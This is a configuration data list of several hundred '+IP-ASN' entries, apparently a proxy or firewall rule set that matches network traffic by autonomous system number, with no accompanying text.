+IP-ASN, 36463 +IP-ASN, 395151 +IP-ASN, 396483 +IP-ASN, 36462 +IP-ASN, 36461 +IP-ASN, 396482 +IP-ASN, 396485 +IP-ASN, 36460 +IP-ASN, 396484 +IP-ASN, 23149 +IP-ASN, 395159 +IP-ASN, 23147 +IP-ASN, 23156 +IP-ASN, 23155 +IP-ASN, 23154 +IP-ASN, 23153 +IP-ASN, 23152 +IP-ASN, 11170 +IP-ASN, 11171 +IP-ASN, 396481 +IP-ASN, 396480 +IP-ASN, 36459 +IP-ASN, 11174 +IP-ASN, 36457 +IP-ASN, 11176 +IP-ASN, 36456 +IP-ASN, 11177 +IP-ASN, 395166 +IP-ASN, 396497 +IP-ASN, 11158 +IP-ASN, 396499 +IP-ASN, 395169 +IP-ASN, 11159 +IP-ASN, 395162 +IP-ASN, 396494 +IP-ASN, 36451 +IP-ASN, 396493 +IP-ASN, 395163 +IP-ASN, 36450 +IP-ASN, 396496 +IP-ASN, 395164 +IP-ASN, 395165 +IP-ASN, 23139 +IP-ASN, 23138 +IP-ASN, 23137 +IP-ASN, 23145 +IP-ASN, 25798 +IP-ASN, 25799 +IP-ASN, 23142 +IP-ASN, 23141 +IP-ASN, 11160 +IP-ASN, 396492 +IP-ASN, 395160 +IP-ASN, 11161 +IP-ASN, 396491 +IP-ASN, 11162 +IP-ASN, 11163 +IP-ASN, 11164 +IP-ASN, 36446 +IP-ASN, 11166 +IP-ASN, 36444 +IP-ASN, 395177 +IP-ASN, 36443 +IP-ASN, 395178 +IP-ASN, 395179 +IP-ASN, 36442 +IP-ASN, 36441 +IP-ASN, 36440 +IP-ASN, 395174 +IP-ASN, 395175 +IP-ASN, 395176 +IP-ASN, 25791 +IP-ASN, 25792 +IP-ASN, 23127 +IP-ASN, 25794 +IP-ASN, 23126 +IP-ASN, 25795 +IP-ASN, 23125 +IP-ASN, 25786 +IP-ASN, 23134 +IP-ASN, 25787 +IP-ASN, 23132 +IP-ASN, 25788 +IP-ASN, 23131 +IP-ASN, 25789 +IP-ASN, 23130 +IP-ASN, 395172 +IP-ASN, 36437 +IP-ASN, 36436 +IP-ASN, 36434 +IP-ASN, 11155 +IP-ASN, 36433 +IP-ASN, 395188 +IP-ASN, 13797 +IP-ASN, 11134 +IP-ASN, 395189 +IP-ASN, 11135 +IP-ASN, 36432 +IP-ASN, 13796 +IP-ASN, 36431 +IP-ASN, 13798 +IP-ASN, 11138 +IP-ASN, 395185 +IP-ASN, 395186 +IP-ASN, 23119 +IP-ASN, 23118 +IP-ASN, 25780 +IP-ASN, 23117 +IP-ASN, 25785 +IP-ASN, 25775 +IP-ASN, 23122 +IP-ASN, 25776 +IP-ASN, 25777 +IP-ASN, 23121 +IP-ASN, 25778 +IP-ASN, 23120 +IP-ASN, 25779 +IP-ASN, 395180 +IP-ASN, 395182 +IP-ASN, 36427 +IP-ASN, 395183 +IP-ASN, 11140 +IP-ASN, 36426 +IP-ASN, 11142 +IP-ASN, 11144 +IP-ASN, 13786 +IP-ASN, 11123 +IP-ASN, 36422 +IP-ASN, 36421 +IP-ASN, 11124 +IP-ASN, 13785 +IP-ASN, 13788 +IP-ASN, 11126 +IP-ASN, 13787 +IP-ASN, 11127 +IP-ASN, 395195 +IP-ASN, 13789 +IP-ASN, 11128 +IP-ASN, 395196 +IP-ASN, 23109 +IP-ASN, 25770 +IP-ASN, 25771 +IP-ASN, 23104 +IP-ASN, 25773 +IP-ASN, 23103 +IP-ASN, 25774 +IP-ASN, 23102 +IP-ASN, 25764 +IP-ASN, 25765 +IP-ASN, 23111 +IP-ASN, 25766 +IP-ASN, 25769 +IP-ASN, 36418 +IP-ASN, 13791 +IP-ASN, 395193 +IP-ASN, 36416 +IP-ASN, 395194 +IP-ASN, 13790 +IP-ASN, 36415 +IP-ASN, 13793 +IP-ASN, 36414 +IP-ASN, 13792 +IP-ASN, 11131 +IP-ASN, 13795 +IP-ASN, 36413 +IP-ASN, 11132 +IP-ASN, 36412 +IP-ASN, 11133 +IP-ASN, 395190 +IP-ASN, 36411 +IP-ASN, 36410 +IP-ASN, 11114 +IP-ASN, 13776 +IP-ASN, 11115 +IP-ASN, 13779 +IP-ASN, 13778 +IP-ASN, 11117 +IP-ASN, 11118 +IP-ASN, 25760 +IP-ASN, 25762 +IP-ASN, 25763 +IP-ASN, 25753 +IP-ASN, 25754 +IP-ASN, 25755 +IP-ASN, 25758 +IP-ASN, 25759 +IP-ASN, 36408 +IP-ASN, 36407 +IP-ASN, 13780 +IP-ASN, 36406 +IP-ASN, 13782 +IP-ASN, 13781 +IP-ASN, 11120 +IP-ASN, 36403 +IP-ASN, 36402 +IP-ASN, 11121 +IP-ASN, 13783 +IP-ASN, 36401 +IP-ASN, 397830 +IP-ASN, 397837 +IP-ASN, 396506 +IP-ASN, 397836 +IP-ASN, 396505 +IP-ASN, 397839 +IP-ASN, 396508 +IP-ASN, 396507 +IP-ASN, 397833 +IP-ASN, 396502 +IP-ASN, 397832 +IP-ASN, 397834 +IP-ASN, 397840 +IP-ASN, 397842 +IP-ASN, 396511 +IP-ASN, 397841 +IP-ASN, 397848 +IP-ASN, 397847 +IP-ASN, 397849 +IP-ASN, 396518 +IP-ASN, 397844 +IP-ASN, 396513 +IP-ASN, 397843 +IP-ASN, 396512 +IP-ASN, 396514 +IP-ASN, 396509 +IP-ASN, 397851 +IP-ASN, 397850 +IP-ASN, 396522 +IP-ASN, 397859 +IP-ASN, 396528 +IP-ASN, 396527 +IP-ASN, 397858 +IP-ASN, 397855 +IP-ASN, 396524 +IP-ASN, 397854 +IP-ASN, 396525 +IP-ASN, 397856 +IP-ASN, 396531 +IP-ASN, 397862 +IP-ASN, 397861 +IP-ASN, 396530 +IP-ASN, 396533 +IP-ASN, 395201 +IP-ASN, 395202 +IP-ASN, 397860 +IP-ASN, 397869 +IP-ASN, 396538 +IP-ASN, 395209 +IP-ASN, 397866 +IP-ASN, 396535 +IP-ASN, 395203 +IP-ASN, 397865 +IP-ASN, 396534 +IP-ASN, 395204 +IP-ASN, 397868 +IP-ASN, 396537 +IP-ASN, 395206 +IP-ASN, 396536 +IP-ASN, 139242 +IP-ASN, 395210 +IP-ASN, 396542 +IP-ASN, 397872 +IP-ASN, 396541 +IP-ASN, 395211 +IP-ASN, 395213 +IP-ASN, 397874 +IP-ASN, 396543 +IP-ASN, 397871 +IP-ASN, 396540 +IP-ASN, 397870 +IP-ASN, 395218 +IP-ASN, 396546 +IP-ASN, 396545 +IP-ASN, 395215 +IP-ASN, 395216 +IP-ASN, 397879 +IP-ASN, 397878 +IP-ASN, 396547 +IP-ASN, 23099 +IP-ASN, 23098 +IP-ASN, 23097 +IP-ASN, 23096 +IP-ASN, 23095 +IP-ASN, 23094 +IP-ASN, 23093 +IP-ASN, 23092 +IP-ASN, 23090 +IP-ASN, 397884 +IP-ASN, 397883 +IP-ASN, 36399 +IP-ASN, 397886 +IP-ASN, 396555 +IP-ASN, 395223 +IP-ASN, 397885 +IP-ASN, 396554 +IP-ASN, 36397 +IP-ASN, 397880 +IP-ASN, 36396 +IP-ASN, 36395 +IP-ASN, 36394 +IP-ASN, 395220 +IP-ASN, 396550 +IP-ASN, 36393 +IP-ASN, 397881 +IP-ASN, 36392 +IP-ASN, 395229 +IP-ASN, 36390 +IP-ASN, 396557 +IP-ASN, 395226 +IP-ASN, 397887 +IP-ASN, 395227 +IP-ASN, 396559 +IP-ASN, 395228 +IP-ASN, 397889 +IP-ASN, 396558 +IP-ASN, 23089 +IP-ASN, 23088 +IP-ASN, 23087 +IP-ASN, 23086 +IP-ASN, 23084 +IP-ASN, 23083 +IP-ASN, 23082 +IP-ASN, 23081 +IP-ASN, 23080 +IP-ASN, 396563 +IP-ASN, 395234 +IP-ASN, 396566 +IP-ASN, 36385 +IP-ASN, 397891 +IP-ASN, 396560 +IP-ASN, 36384 +IP-ASN, 397890 +IP-ASN, 395230 +IP-ASN, 397893 +IP-ASN, 36383 +IP-ASN, 397892 +IP-ASN, 395231 +IP-ASN, 395236 +IP-ASN, 396568 +IP-ASN, 397898 +IP-ASN, 396567 +IP-ASN, 395238 +IP-ASN, 23069 +IP-ASN, 396569 +IP-ASN, 23079 +IP-ASN, 23078 +IP-ASN, 23077 +IP-ASN, 11090 +IP-ASN, 11091 +IP-ASN, 11092 +IP-ASN, 23071 +IP-ASN, 23070 +IP-ASN, 11094 +IP-ASN, 11096 +IP-ASN, 11098 +IP-ASN, 36379 +IP-ASN, 396575 +IP-ASN, 36378 +IP-ASN, 395244 +IP-ASN, 396574 +IP-ASN, 395245 +IP-ASN, 396577 +IP-ASN, 36376 +IP-ASN, 36375 +IP-ASN, 396576 +IP-ASN, 36374 +IP-ASN, 396571 +IP-ASN, 36373 +IP-ASN, 396570 +IP-ASN, 36372 +IP-ASN, 395241 +IP-ASN, 395242 +IP-ASN, 395247 +IP-ASN, 396579 +IP-ASN, 23059 +IP-ASN, 23068 +IP-ASN, 23067 +IP-ASN, 23065 +IP-ASN, 11080 +IP-ASN, 23062 +IP-ASN, 23060 +IP-ASN, 11082 +IP-ASN, 11086 +IP-ASN, 11088 +IP-ASN, 36368 +IP-ASN, 11089 +IP-ASN, 62654 +IP-ASN, 62653 +IP-ASN, 62652 +IP-ASN, 62651 +IP-ASN, 62650 +IP-ASN, 62659 +IP-ASN, 62658 +IP-ASN, 47017 +IP-ASN, 47016 +IP-ASN, 62656 +IP-ASN, 47019 +IP-ASN, 47018 +IP-ASN, 47024 +IP-ASN, 201682 +IP-ASN, 51999 +IP-ASN, 47025 +IP-ASN, 47020 +IP-ASN, 47022 +IP-ASN, 62643 +IP-ASN, 62642 +IP-ASN, 62641 +IP-ASN, 62640 +IP-ASN, 61317 +IP-ASN, 62648 +IP-ASN, 62647 +IP-ASN, 47028 +IP-ASN, 62646 +IP-ASN, 62645 +IP-ASN, 62644 +IP-ASN, 47029 +IP-ASN, 47037 +IP-ASN, 47036 +IP-ASN, 200360 +IP-ASN, 47031 +IP-ASN, 47030 +IP-ASN, 47033 +IP-ASN, 47032 +IP-ASN, 214995 +IP-ASN, 62676 +IP-ASN, 62673 +IP-ASN, 62672 +IP-ASN, 62671 +IP-ASN, 201665 +IP-ASN, 47039 +IP-ASN, 47038 +IP-ASN, 62678 +IP-ASN, 62677 +IP-ASN, 47046 +IP-ASN, 47047 +IP-ASN, 47042 +IP-ASN, 47041 +IP-ASN, 47044 +IP-ASN, 47040 +IP-ASN, 62664 +IP-ASN, 62663 +IP-ASN, 62669 +IP-ASN, 62668 +IP-ASN, 47049 +IP-ASN, 47057 +IP-ASN, 47056 +IP-ASN, 47059 +IP-ASN, 47058 +IP-ASN, 48386 +IP-ASN, 47054 +IP-ASN, 47051 +IP-ASN, 47050 +IP-ASN, 62698 +IP-ASN, 62695 +IP-ASN, 62691 +IP-ASN, 47068 +IP-ASN, 47067 +IP-ASN, 47069 +IP-ASN, 47064 +IP-ASN, 47063 +IP-ASN, 47066 +IP-ASN, 47065 +IP-ASN, 214967 +IP-ASN, 47061 +IP-ASN, 62685 +IP-ASN, 62683 +IP-ASN, 200329 +IP-ASN, 62682 +IP-ASN, 62681 +IP-ASN, 62680 +IP-ASN, 397804 +IP-ASN, 397803 +IP-ASN, 397805 +IP-ASN, 397800 +IP-ASN, 62689 +IP-ASN, 62688 +IP-ASN, 397801 +IP-ASN, 47078 +IP-ASN, 47075 +IP-ASN, 47074 +IP-ASN, 62690 +IP-ASN, 47071 +IP-ASN, 47070 +IP-ASN, 47072 +IP-ASN, 397815 +IP-ASN, 397817 +IP-ASN, 397810 +IP-ASN, 397813 +IP-ASN, 397812 +IP-ASN, 47089 +IP-ASN, 397808 +IP-ASN, 47086 +IP-ASN, 397809 +IP-ASN, 47087 +IP-ASN, 47082 +IP-ASN, 47084 +IP-ASN, 47083 +IP-ASN, 397820 +IP-ASN, 397827 +IP-ASN, 397822 +IP-ASN, 397824 +IP-ASN, 47097 +IP-ASN, 397819 +IP-ASN, 47096 +IP-ASN, 397818 +IP-ASN, 47099 +IP-ASN, 47092 +IP-ASN, 47095 +IP-ASN, 47094 +IP-ASN, 47091 +IP-ASN, 47090 +IP-ASN, 14976 +IP-ASN, 14973 +IP-ASN, 13645 +IP-ASN, 13649 +IP-ASN, 14977 +IP-ASN, 14978 +IP-ASN, 26960 +IP-ASN, 26962 +IP-ASN, 25631 +IP-ASN, 26961 +IP-ASN, 25621 +IP-ASN, 25622 +IP-ASN, 26955 +IP-ASN, 25623 +IP-ASN, 25625 +IP-ASN, 26957 +IP-ASN, 26956 +IP-ASN, 25627 +IP-ASN, 26959 +IP-ASN, 26958 +IP-ASN, 25628 +IP-ASN, 25629 +IP-ASN, 14982 +IP-ASN, 14983 +IP-ASN, 13652 +IP-ASN, 14981 +IP-ASN, 13651 +IP-ASN, 14964 +IP-ASN, 13631 +IP-ASN, 14962 +IP-ASN, 13636 +IP-ASN, 14969 +IP-ASN, 13638 +IP-ASN, 14967 +IP-ASN, 26950 +IP-ASN, 25611 +IP-ASN, 26941 +IP-ASN, 25612 +IP-ASN, 26943 +IP-ASN, 25614 +IP-ASN, 26946 +IP-ASN, 25615 +IP-ASN, 26945 +IP-ASN, 26948 +IP-ASN, 25617 +IP-ASN, 25619 +IP-ASN, 26949 +IP-ASN, 14971 +IP-ASN, 13641 +IP-ASN, 13621 +IP-ASN, 13620 +IP-ASN, 14954 +IP-ASN, 14951 +IP-ASN, 13624 +IP-ASN, 14958 +IP-ASN, 14955 +IP-ASN, 13627 +IP-ASN, 14956 +IP-ASN, 13626 +IP-ASN, 13629 +IP-ASN, 13628 +IP-ASN, 14959 +IP-ASN, 26940 +IP-ASN, 26931 +IP-ASN, 26930 +IP-ASN, 26933 +IP-ASN, 25602 +IP-ASN, 25603 +IP-ASN, 26935 +IP-ASN, 26934 +IP-ASN, 25604 +IP-ASN, 26937 +IP-ASN, 25605 +IP-ASN, 26936 +IP-ASN, 25606 +IP-ASN, 26938 +IP-ASN, 25609 +IP-ASN, 14961 +IP-ASN, 13630 +IP-ASN, 13610 +IP-ASN, 14942 +IP-ASN, 63911 +IP-ASN, 13612 +IP-ASN, 14940 +IP-ASN, 14941 +IP-ASN, 13611 +IP-ASN, 13614 +IP-ASN, 14946 +IP-ASN, 14945 +IP-ASN, 13615 +IP-ASN, 13617 +IP-ASN, 14948 +IP-ASN, 13619 +IP-ASN, 26920 +IP-ASN, 26921 +IP-ASN, 26923 +IP-ASN, 26925 +IP-ASN, 14950 +IP-ASN, 62610 +IP-ASN, 14931 +IP-ASN, 14932 +IP-ASN, 14930 +IP-ASN, 14935 +IP-ASN, 13602 +IP-ASN, 14936 +IP-ASN, 14939 +IP-ASN, 13607 +IP-ASN, 62618 +IP-ASN, 13606 +IP-ASN, 14937 +IP-ASN, 14938 +IP-ASN, 62614 +IP-ASN, 62613 +IP-ASN, 62612 +IP-ASN, 62611 +IP-ASN, 26913 +IP-ASN, 26912 +IP-ASN, 26915 +IP-ASN, 26914 +IP-ASN, 26917 +IP-ASN, 26916 +IP-ASN, 26919 +IP-ASN, 14921 +IP-ASN, 14925 +IP-ASN, 14922 +IP-ASN, 14923 +IP-ASN, 14928 +IP-ASN, 62607 +IP-ASN, 62606 +IP-ASN, 14929 +IP-ASN, 62605 +IP-ASN, 14926 +IP-ASN, 62600 +IP-ASN, 51964 +IP-ASN, 9294 +IP-ASN, 26902 +IP-ASN, 62609 +IP-ASN, 26903 +IP-ASN, 26905 +IP-ASN, 26907 +IP-ASN, 62632 +IP-ASN, 62631 +IP-ASN, 62630 +IP-ASN, 14913 +IP-ASN, 14911 +IP-ASN, 14912 +IP-ASN, 14917 +IP-ASN, 14915 +IP-ASN, 62637 +IP-ASN, 62636 +IP-ASN, 200255 +IP-ASN, 62635 +IP-ASN, 62634 +IP-ASN, 62633 +IP-ASN, 47002 +IP-ASN, 47001 +IP-ASN, 47003 +IP-ASN, 47000 +IP-ASN, 212243 +IP-ASN, 62621 +IP-ASN, 62620 +IP-ASN, 14902 +IP-ASN, 14903 +IP-ASN, 14901 +IP-ASN, 62629 +IP-ASN, 14906 +IP-ASN, 14907 +IP-ASN, 62628 +IP-ASN, 47009 +IP-ASN, 14904 +IP-ASN, 14905 +IP-ASN, 62625 +IP-ASN, 62624 +IP-ASN, 62623 +IP-ASN, 62622 +IP-ASN, 14909 +IP-ASN, 47015 +IP-ASN, 47010 +IP-ASN, 36367 +IP-ASN, 11068 +IP-ASN, 36366 +IP-ASN, 36365 +IP-ASN, 395257 +IP-ASN, 36364 +IP-ASN, 36363 +IP-ASN, 395251 +IP-ASN, 36362 +IP-ASN, 36361 +IP-ASN, 395252 +IP-ASN, 36360 +IP-ASN, 396583 +IP-ASN, 395258 +IP-ASN, 395259 +IP-ASN, 23049 +IP-ASN, 23047 +IP-ASN, 23057 +IP-ASN, 23055 +IP-ASN, 23053 +IP-ASN, 23050 +IP-ASN, 11070 +IP-ASN, 11071 +IP-ASN, 11072 +IP-ASN, 11073 +IP-ASN, 11074 +IP-ASN, 11076 +IP-ASN, 36359 +IP-ASN, 36358 +IP-ASN, 36357 +IP-ASN, 11078 +IP-ASN, 395265 +IP-ASN, 395266 +IP-ASN, 11059 +IP-ASN, 396599 +IP-ASN, 395267 +IP-ASN, 395268 +IP-ASN, 36352 +IP-ASN, 36351 +IP-ASN, 36350 +IP-ASN, 396595 +IP-ASN, 395264 +IP-ASN, 395269 +IP-ASN, 23039 +IP-ASN, 23038 +IP-ASN, 23037 +IP-ASN, 23036 +IP-ASN, 23046 +IP-ASN, 25699 +IP-ASN, 23045 +IP-ASN, 23043 +IP-ASN, 23042 +IP-ASN, 23041 +IP-ASN, 11061 +IP-ASN, 11062 +IP-ASN, 36349 +IP-ASN, 11066 +IP-ASN, 36347 +IP-ASN, 11067 +IP-ASN, 36345 +IP-ASN, 395276 +IP-ASN, 11046 +IP-ASN, 11047 +IP-ASN, 36344 +IP-ASN, 395277 +IP-ASN, 395278 +IP-ASN, 11048 +IP-ASN, 11049 +IP-ASN, 395279 +IP-ASN, 36341 +IP-ASN, 395273 +IP-ASN, 36340 +IP-ASN, 395274 +IP-ASN, 25691 +IP-ASN, 25692 +IP-ASN, 23029 +IP-ASN, 23028 +IP-ASN, 25694 +IP-ASN, 23027 +IP-ASN, 25696 +IP-ASN, 23026 +IP-ASN, 25697 +IP-ASN, 23025 +IP-ASN, 25687 +IP-ASN, 25688 +IP-ASN, 23033 +IP-ASN, 23032 +IP-ASN, 23030 +IP-ASN, 11050 +IP-ASN, 35008 +IP-ASN, 395270 +IP-ASN, 11052 +IP-ASN, 395271 +IP-ASN, 36339 +IP-ASN, 36338 +IP-ASN, 11054 +IP-ASN, 36336 +IP-ASN, 11055 +IP-ASN, 36335 +IP-ASN, 11056 +IP-ASN, 13698 +IP-ASN, 395287 +IP-ASN, 11035 +IP-ASN, 11036 +IP-ASN, 36333 +IP-ASN, 13697 +IP-ASN, 395288 +IP-ASN, 395289 +IP-ASN, 11038 +IP-ASN, 13699 +IP-ASN, 11039 +IP-ASN, 395284 +IP-ASN, 395286 +IP-ASN, 25680 +IP-ASN, 23019 +IP-ASN, 23018 +IP-ASN, 25683 +IP-ASN, 23016 +IP-ASN, 23024 +IP-ASN, 23023 +IP-ASN, 25677 +IP-ASN, 25678 +IP-ASN, 23022 +IP-ASN, 25679 +IP-ASN, 36329 +IP-ASN, 36328 +IP-ASN, 36327 +IP-ASN, 11042 +IP-ASN, 36326 +IP-ASN, 36325 +IP-ASN, 11044 +IP-ASN, 36324 +IP-ASN, 11045 +IP-ASN, 36323 +IP-ASN, 13686 +IP-ASN, 395299 +IP-ASN, 36321 +IP-ASN, 13688 +IP-ASN, 395296 +IP-ASN, 25670 +IP-ASN, 23008 +IP-ASN, 25671 +IP-ASN, 23005 +IP-ASN, 25673 +IP-ASN, 23004 +IP-ASN, 25674 +IP-ASN, 23003 +IP-ASN, 25675 +IP-ASN, 26997 +IP-ASN, 25665 +IP-ASN, 23013 +IP-ASN, 23012 +IP-ASN, 25667 +IP-ASN, 23011 +IP-ASN, 26998 +IP-ASN, 23010 +IP-ASN, 25669 +IP-ASN, 395290 +IP-ASN, 13690 +IP-ASN, 395291 +IP-ASN, 36319 +IP-ASN, 13692 +IP-ASN, 395292 +IP-ASN, 11030 +IP-ASN, 395293 +IP-ASN, 36317 +IP-ASN, 13691 +IP-ASN, 13694 +IP-ASN, 36316 +IP-ASN, 13693 +IP-ASN, 36315 +IP-ASN, 13695 +IP-ASN, 36313 +IP-ASN, 11013 +IP-ASN, 36312 +IP-ASN, 13676 +IP-ASN, 38910 +IP-ASN, 36311 +IP-ASN, 11015 +IP-ASN, 11017 +IP-ASN, 11019 +IP-ASN, 25660 +IP-ASN, 26993 +IP-ASN, 25661 +IP-ASN, 26992 +IP-ASN, 26995 +IP-ASN, 25663 +IP-ASN, 25664 +IP-ASN, 25655 +IP-ASN, 23000 +IP-ASN, 26988 +IP-ASN, 25656 +IP-ASN, 25657 +IP-ASN, 26987 +IP-ASN, 26989 +IP-ASN, 36309 +IP-ASN, 36306 +IP-ASN, 13683 +IP-ASN, 36305 +IP-ASN, 11020 +IP-ASN, 36304 +IP-ASN, 13685 +IP-ASN, 36303 +IP-ASN, 13684 +IP-ASN, 11023 +IP-ASN, 36302 +IP-ASN, 36301 +IP-ASN, 14997 +IP-ASN, 36300 +IP-ASN, 11003 +IP-ASN, 11004 +IP-ASN, 14995 +IP-ASN, 11005 +IP-ASN, 11006 +IP-ASN, 14999 +IP-ASN, 11009 +IP-ASN, 26980 +IP-ASN, 25651 +IP-ASN, 26981 +IP-ASN, 26984 +IP-ASN, 25652 +IP-ASN, 25653 +IP-ASN, 26975 +IP-ASN, 25643 +IP-ASN, 26974 +IP-ASN, 25645 +IP-ASN, 26977 +IP-ASN, 26976 +IP-ASN, 25647 +IP-ASN, 26978 +IP-ASN, 25648 +IP-ASN, 25649 +IP-ASN, 13672 +IP-ASN, 13671 +IP-ASN, 11011 +IP-ASN, 13673 +IP-ASN, 11012 +IP-ASN, 13654 +IP-ASN, 14987 +IP-ASN, 14984 +IP-ASN, 13656 +IP-ASN, 13655 +IP-ASN, 13659 +IP-ASN, 26971 +IP-ASN, 26970 +IP-ASN, 25640 +IP-ASN, 26973 +IP-ASN, 25641 +IP-ASN, 25642 +IP-ASN, 25632 +IP-ASN, 26964 +IP-ASN, 26963 +IP-ASN, 25633 +IP-ASN, 26966 +IP-ASN, 25637 +IP-ASN, 26967 +IP-ASN, 25639 +IP-ASN, 14990 +IP-ASN, 14993 +IP-ASN, 13660 +IP-ASN, 14991 +IP-ASN, 14992 +IP-ASN, 13662 +IP-ASN, 397952 +IP-ASN, 396620 +IP-ASN, 396627 +IP-ASN, 396629 +IP-ASN, 397959 +IP-ASN, 396628 +IP-ASN, 397953 +IP-ASN, 397956 +IP-ASN, 396625 +IP-ASN, 396624 +IP-ASN, 397955 +IP-ASN, 396619 +IP-ASN, 61290 +IP-ASN, 396630 +IP-ASN, 395300 +IP-ASN, 397963 +IP-ASN, 395301 +IP-ASN, 397969 +IP-ASN, 395306 +IP-ASN, 395308 +IP-ASN, 397965 +IP-ASN, 395302 +IP-ASN, 397964 +IP-ASN, 397967 +IP-ASN, 397966 +IP-ASN, 396635 +IP-ASN, 397971 +IP-ASN, 395311 +IP-ASN, 397973 +IP-ASN, 395312 +IP-ASN, 396642 +IP-ASN, 395317 +IP-ASN, 396649 +IP-ASN, 395319 +IP-ASN, 397976 +IP-ASN, 395313 +IP-ASN, 397975 +IP-ASN, 395315 +IP-ASN, 397977 +IP-ASN, 395320 +IP-ASN, 395321 +IP-ASN, 36299 +IP-ASN, 395323 +IP-ASN, 397984 +IP-ASN, 396653 +IP-ASN, 36298 +IP-ASN, 36297 +IP-ASN, 36295 +IP-ASN, 397981 +IP-ASN, 36294 +IP-ASN, 397980 +IP-ASN, 36293 +IP-ASN, 396659 +IP-ASN, 36291 +IP-ASN, 397987 +IP-ASN, 395324 +IP-ASN, 397986 +IP-ASN, 396655 +IP-ASN, 395325 +IP-ASN, 397989 +IP-ASN, 396658 +IP-ASN, 395326 +IP-ASN, 395327 +IP-ASN, 396657 +IP-ASN, 397994 +IP-ASN, 395331 +IP-ASN, 394001 +IP-ASN, 397993 +IP-ASN, 396662 +IP-ASN, 395332 +IP-ASN, 36289 +IP-ASN, 395333 +IP-ASN, 394002 +IP-ASN, 36288 +IP-ASN, 397995 +IP-ASN, 396664 +IP-ASN, 395334 +IP-ASN, 394003 +IP-ASN, 397990 +IP-ASN, 36286 +IP-ASN, 397992 +IP-ASN, 36283 +IP-ASN, 395339 +IP-ASN, 394009 +IP-ASN, 36281 +IP-ASN, 36280 +IP-ASN, 394004 +IP-ASN, 397998 +IP-ASN, 394005 +IP-ASN, 395336 +IP-ASN, 396666 +IP-ASN, 395337 +IP-ASN, 397999 +IP-ASN, 394011 +IP-ASN, 395342 +IP-ASN, 36279 +IP-ASN, 396674 +IP-ASN, 394012 +IP-ASN, 395343 +IP-ASN, 395344 +IP-ASN, 396675 +IP-ASN, 395340 +IP-ASN, 395341 +IP-ASN, 36272 +IP-ASN, 394019 +IP-ASN, 36270 +IP-ASN, 395346 +IP-ASN, 395347 +IP-ASN, 395348 +IP-ASN, 394017 +IP-ASN, 394018 +IP-ASN, 395349 +IP-ASN, 36269 +IP-ASN, 395353 +IP-ASN, 396685 +IP-ASN, 394022 +IP-ASN, 36268 +IP-ASN, 395354 +IP-ASN, 36267 +IP-ASN, 36266 +IP-ASN, 395355 +IP-ASN, 394024 +IP-ASN, 394025 +IP-ASN, 36265 +IP-ASN, 396686 +IP-ASN, 36264 +IP-ASN, 395350 +IP-ASN, 36263 +IP-ASN, 396683 +IP-ASN, 394020 +IP-ASN, 36262 +IP-ASN, 36261 +IP-ASN, 396682 +IP-ASN, 395352 +IP-ASN, 36260 +IP-ASN, 396689 +IP-ASN, 395357 +IP-ASN, 394026 +IP-ASN, 394027 +IP-ASN, 395358 +IP-ASN, 395359 +IP-ASN, 36259 +IP-ASN, 36258 +IP-ASN, 36257 +IP-ASN, 396695 +IP-ASN, 395365 +IP-ASN, 395366 +IP-ASN, 394035 +IP-ASN, 395367 +IP-ASN, 394036 +IP-ASN, 36253 +IP-ASN, 396692 +IP-ASN, 396691 +IP-ASN, 395361 +IP-ASN, 36252 +IP-ASN, 395362 +IP-ASN, 394031 +IP-ASN, 396694 +IP-ASN, 395363 +IP-ASN, 394032 +IP-ASN, 395368 +IP-ASN, 394037 +IP-ASN, 395369 +IP-ASN, 396690 +IP-ASN, 36249 +IP-ASN, 36247 +IP-ASN, 62533 +IP-ASN, 62532 +IP-ASN, 62531 +IP-ASN, 62530 +IP-ASN, 62539 +IP-ASN, 62538 +IP-ASN, 62537 +IP-ASN, 202894 +IP-ASN, 48231 +IP-ASN, 62520 +IP-ASN, 62529 +IP-ASN, 62528 +IP-ASN, 200246 +IP-ASN, 62526 +IP-ASN, 62523 +IP-ASN, 201573 +IP-ASN, 62552 +IP-ASN, 62550 +IP-ASN, 62559 +IP-ASN, 61228 +IP-ASN, 62557 +IP-ASN, 200210 +IP-ASN, 62544 +IP-ASN, 62542 +IP-ASN, 62541 +IP-ASN, 62540 +IP-ASN, 397903 +IP-ASN, 200224 +IP-ASN, 62549 +IP-ASN, 397904 +IP-ASN, 62548 +IP-ASN, 62546 +IP-ASN, 397901 +IP-ASN, 397900 +IP-ASN, 62576 +IP-ASN, 62574 +IP-ASN, 62572 +IP-ASN, 62571 +IP-ASN, 62570 +IP-ASN, 397913 +IP-ASN, 397915 +IP-ASN, 397910 +IP-ASN, 62579 +IP-ASN, 397911 +IP-ASN, 62578 +IP-ASN, 397907 +IP-ASN, 397906 +IP-ASN, 397909 +IP-ASN, 397908 +IP-ASN, 62580 +IP-ASN, 62566 +IP-ASN, 61234 +IP-ASN, 62565 +IP-ASN, 62564 +IP-ASN, 62562 +IP-ASN, 62561 +IP-ASN, 62560 +IP-ASN, 397925 +IP-ASN, 397924 +IP-ASN, 397927 +IP-ASN, 397926 +IP-ASN, 397921 +IP-ASN, 62569 +IP-ASN, 62568 +IP-ASN, 397918 +IP-ASN, 397917 +IP-ASN, 397919 +IP-ASN, 62599 +IP-ASN, 62598 +IP-ASN, 62597 +IP-ASN, 62594 +IP-ASN, 62592 +IP-ASN, 397936 +IP-ASN, 396605 +IP-ASN, 397937 +IP-ASN, 397932 +IP-ASN, 397931 +IP-ASN, 396600 +IP-ASN, 397934 +IP-ASN, 397933 +IP-ASN, 396602 +IP-ASN, 214828 +IP-ASN, 62588 +IP-ASN, 62586 +IP-ASN, 397941 +IP-ASN, 62585 +IP-ASN, 397940 +IP-ASN, 62583 +IP-ASN, 62582 +IP-ASN, 62581 +IP-ASN, 397947 +IP-ASN, 396615 +IP-ASN, 397949 +IP-ASN, 397948 +IP-ASN, 396617 +IP-ASN, 397942 +IP-ASN, 397945 +IP-ASN, 396614 +IP-ASN, 396609 +IP-ASN, 13524 +IP-ASN, 14852 +IP-ASN, 14858 +IP-ASN, 14859 +IP-ASN, 14856 +IP-ASN, 14857 +IP-ASN, 26841 +IP-ASN, 26840 +IP-ASN, 26831 +IP-ASN, 26833 +IP-ASN, 26836 +IP-ASN, 26835 +IP-ASN, 26839 +IP-ASN, 14861 +IP-ASN, 14862 +IP-ASN, 12200 +IP-ASN, 14860 +IP-ASN, 13530 +IP-ASN, 13511 +IP-ASN, 14844 +IP-ASN, 13510 +IP-ASN, 13513 +IP-ASN, 14841 +IP-ASN, 14842 +IP-ASN, 14847 +IP-ASN, 13515 +IP-ASN, 14848 +IP-ASN, 13517 +IP-ASN, 13516 +IP-ASN, 13518 +IP-ASN, 14849 +IP-ASN, 26830 +IP-ASN, 26821 +IP-ASN, 26820 